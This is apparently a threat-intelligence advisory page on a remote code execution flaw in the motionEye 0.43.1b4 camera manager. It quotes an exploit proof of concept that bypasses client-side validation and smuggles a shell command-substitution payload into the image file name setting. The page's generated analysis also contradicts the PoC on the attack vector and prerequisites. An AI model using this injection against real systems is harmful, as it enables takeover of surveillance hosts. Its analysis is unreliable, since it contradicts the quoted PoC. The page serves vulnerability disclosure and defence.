motionEye 0.43.1b4 - RCE
A critical remote code execution (RCE) vulnerability has been identified in motionEye version 0. 43. 1b4, a popular web-based surveillance camera management system. This vulnerability allows an attacker to execute arbitrary code on the affected system remotely, potentially leading to full system compromise. No specific affected versions beyond 0. 43. 1b4 are listed, and no official patches have been published yet. Exploit code is available, increasing the risk of exploitation, although no active exploitation in the wild has been reported. The vulnerability primarily affects web interfaces, which are often exposed to internal networks or the internet. European organizations using motionEye for surveillance or security monitoring could face significant confidentiality, integrity, and availability risks if exploited.
AI Analysis
Technical Summary
motionEye is an open-source web-based surveillance camera management system widely used for managing IP cameras and video streams. The reported vulnerability in version 0.43.1b4 is a remote code execution (RCE) flaw, which allows an attacker to execute arbitrary commands on the host system remotely via the web interface. Although the exact technical vector is not detailed in the provided information, RCE vulnerabilities in web applications typically arise from improper input validation, unsafe deserialization, or command injection flaws. The presence of exploit code (not detailed here but indicated as 'text') suggests that the vulnerability can be reliably exploited without complex prerequisites. No patches or fixes have been linked, indicating that users must rely on mitigation strategies until an official update is released. The lack of known exploits in the wild reduces immediate risk but does not diminish the criticality due to the potential impact. motionEye deployments are often found in enterprise and industrial environments for physical security, making this vulnerability a significant risk for organizations relying on it for surveillance. Attackers exploiting this flaw could gain full control over the host system, leading to data theft, surveillance tampering, or pivoting to other internal systems.
Potential Impact
For European organizations, exploitation of this RCE vulnerability could lead to severe consequences including unauthorized access to surveillance footage, manipulation or disabling of security monitoring, and potential lateral movement within corporate networks. Confidentiality is at risk as attackers may access sensitive video streams or stored data. Integrity is compromised as attackers could alter surveillance configurations or footage, undermining trust in security systems. Availability may be affected if attackers disrupt motionEye services or use the compromised host for further attacks such as ransomware deployment. Critical infrastructure, government facilities, and enterprises using motionEye for security monitoring are particularly vulnerable. The presence of exploit code increases the likelihood of targeted attacks or automated scanning. The absence of patches means organizations must act quickly to prevent exploitation. The impact extends beyond the compromised device, potentially affecting broader network security and compliance with data protection regulations such as GDPR.
Mitigation Recommendations
1. Immediately restrict access to motionEye web interfaces by implementing network segmentation and firewall rules to limit exposure to trusted internal networks only. 2. Disable any remote or internet-facing access to motionEye until a patch is available. 3. Monitor network traffic and system logs for unusual activity indicative of exploitation attempts, such as unexpected command executions or new processes. 4. Employ intrusion detection/prevention systems (IDS/IPS) with updated signatures to detect known exploit patterns. 5. Regularly back up surveillance configurations and data to enable recovery in case of compromise. 6. Engage with the motionEye community or vendor channels to track patch releases and apply updates promptly once available. 7. Consider deploying application-layer firewalls or reverse proxies to add an additional security layer around the motionEye interface. 8. Conduct internal audits to identify all motionEye instances and assess exposure. 9. Educate relevant IT and security staff about this vulnerability and response procedures. 10. If feasible, isolate motionEye hosts on dedicated VLANs with strict access controls to minimize lateral movement risk.
Affected Countries
Germany, United Kingdom, France, Netherlands, Italy, Spain, Sweden
Indicators of Compromise
- exploit-code: # Exploit Title: motionEye 0.43.1b4 - RCE # Exploit PoC: motionEye RCE via client-side validation bypass (safe PoC) # Filename: motioneye_rce_poc_edb.txt # Author: prabhatverma47 # Date tested: 2025-05-14 (original test); prepared for submission: 2025-10-11 # Affected Versions: motionEye <= 0.43.1b4 # Tested on: Debian host running Docker; motionEye image ghcr.io/motioneye-project/motioneye:edge # CVE(s) / References: MITRE/OSV advisories referenced: CVE-2025-60787 # # Short description: # Client-side validation in motionEye's web UI can be bypassed via overriding the JS validation # function. Arbitrary values (including shell interpolation syntax) can be saved into the # motion config. When motion is restarted, the motion process interprets the config and # can execute shell syntax embedded inside configuration values such as "image_file_name". # # Safe PoC: creates a harmless file /tmp/test inside container (non-destructive). # # Environment setup: # 1) Start the motionEye docker image: # docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge # # 2) Verify version in logs: # docker logs motioneye | grep "motionEye server" # Expect: 0.43.1b4 (or <= 0.43.1b4 for vulnerable) # # 3) Access web UI: # Open http://127.0.0.1:9999 # Login: admin (blank password in default/edge image) # # Reproduction (manual + safe PoC): # A) Bypass client-side validation in browser console: # 1) Open browser devtools on the dashboard (F12 / Ctrl+Shift+I). # 2) In the Console tab paste and run: # # configUiValid = function() { return true; }; # # This forces the UI validation function to always return true and allows any value # to be accepted by the UI forms. # # B) Safe payload (paste this into Settings → Still Images → Image File Name and Apply): # $(touch /tmp/test).%Y-%m-%d-%H-%M-%S # # After applying, the PoC triggers creation of /tmp/test inside the motionEye container # (the "touch" is executed when motion re-reads the config / motionctl restarts). # # C) Verify from host: # docker exec -it motioneye ls -la /tmp | grep test # # Expected result: # /tmp/test exists (created with the permissions of the motion process). # # Notes / root cause: # - UI stores un-sanitized values into camera-*.conf (e.g., picture_filename), # which are later parsed by motion and interpreted as filenames – shell meta is executed. # - Fix: sanitize/whitelist filename characters (example sanitization provided in README). # # References: # - Original PoC & writeup: https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter # - motionEye upstream: https://github.com/motioneye-project/motioneye # - OSV/GHSA advisories referencing this issue (published May–Oct 2025) # - NVD entries: CVE-2025-60787
motionEye 0.43.1b4 - RCE
Description
A critical remote code execution (RCE) vulnerability has been identified in motionEye version 0. 43. 1b4, a popular web-based surveillance camera management system. This vulnerability allows an attacker to execute arbitrary code on the affected system remotely, potentially leading to full system compromise. No specific affected versions beyond 0. 43. 1b4 are listed, and no official patches have been published yet. Exploit code is available, increasing the risk of exploitation, although no active exploitation in the wild has been reported. The vulnerability primarily affects web interfaces, which are often exposed to internal networks or the internet. European organizations using motionEye for surveillance or security monitoring could face significant confidentiality, integrity, and availability risks if exploited.
AI-Powered Analysis
Technical Analysis
motionEye is an open-source web-based surveillance camera management system widely used for managing IP cameras and video streams. The reported vulnerability in version 0.43.1b4 is a remote code execution (RCE) flaw, which allows an attacker to execute arbitrary commands on the host system remotely via the web interface. Although the exact technical vector is not detailed in the provided information, RCE vulnerabilities in web applications typically arise from improper input validation, unsafe deserialization, or command injection flaws. The presence of exploit code (not detailed here but indicated as 'text') suggests that the vulnerability can be reliably exploited without complex prerequisites. No patches or fixes have been linked, indicating that users must rely on mitigation strategies until an official update is released. The lack of known exploits in the wild reduces immediate risk but does not diminish the criticality due to the potential impact. motionEye deployments are often found in enterprise and industrial environments for physical security, making this vulnerability a significant risk for organizations relying on it for surveillance. Attackers exploiting this flaw could gain full control over the host system, leading to data theft, surveillance tampering, or pivoting to other internal systems.
Potential Impact
For European organizations, exploitation of this RCE vulnerability could lead to severe consequences including unauthorized access to surveillance footage, manipulation or disabling of security monitoring, and potential lateral movement within corporate networks. Confidentiality is at risk as attackers may access sensitive video streams or stored data. Integrity is compromised as attackers could alter surveillance configurations or footage, undermining trust in security systems. Availability may be affected if attackers disrupt motionEye services or use the compromised host for further attacks such as ransomware deployment. Critical infrastructure, government facilities, and enterprises using motionEye for security monitoring are particularly vulnerable. The presence of exploit code increases the likelihood of targeted attacks or automated scanning. The absence of patches means organizations must act quickly to prevent exploitation. The impact extends beyond the compromised device, potentially affecting broader network security and compliance with data protection regulations such as GDPR.
Mitigation Recommendations
1. Immediately restrict access to motionEye web interfaces by implementing network segmentation and firewall rules to limit exposure to trusted internal networks only. 2. Disable any remote or internet-facing access to motionEye until a patch is available. 3. Monitor network traffic and system logs for unusual activity indicative of exploitation attempts, such as unexpected command executions or new processes. 4. Employ intrusion detection/prevention systems (IDS/IPS) with updated signatures to detect known exploit patterns. 5. Regularly back up surveillance configurations and data to enable recovery in case of compromise. 6. Engage with the motionEye community or vendor channels to track patch releases and apply updates promptly once available. 7. Consider deploying application-layer firewalls or reverse proxies to add an additional security layer around the motionEye interface. 8. Conduct internal audits to identify all motionEye instances and assess exposure. 9. Educate relevant IT and security staff about this vulnerability and response procedures. 10. If feasible, isolate motionEye hosts on dedicated VLANs with strict access controls to minimize lateral movement risk.
Affected Countries
Technical Details
- Edb Id
- 52481
- Has Exploit Code
- true
- Code Language
- text
Indicators of Compromise
Exploit Source Code
Exploit code for motionEye 0.43.1b4 - RCE
# Exploit Title: motionEye 0.43.1b4 - RCE # Exploit PoC: motionEye RCE via client-side validation bypass (safe PoC) # Filename: motioneye_rce_poc_edb.txt # Author: prabhatverma47 # Date tested: 2025-05-14 (original test); prepared for submission: 2025-10-11 # Affected Versions: motionEye <= 0.43.1b4 # Tested on: Debian host running Docker; motionEye image ghcr.io/motioneye-project/motioneye:edge # CVE(s) / References: MITRE/OSV advisories referenced: CVE-2025-60787 # # Short description: # Cli... (2295 more characters)
Threat ID: 698c72394b57a58fa193b5c7
Added to database: 2/11/2026, 12:12:41 PM
Last enriched: 2/11/2026, 12:12:57 PM
Last updated: 2/11/2026, 7:19:51 PM
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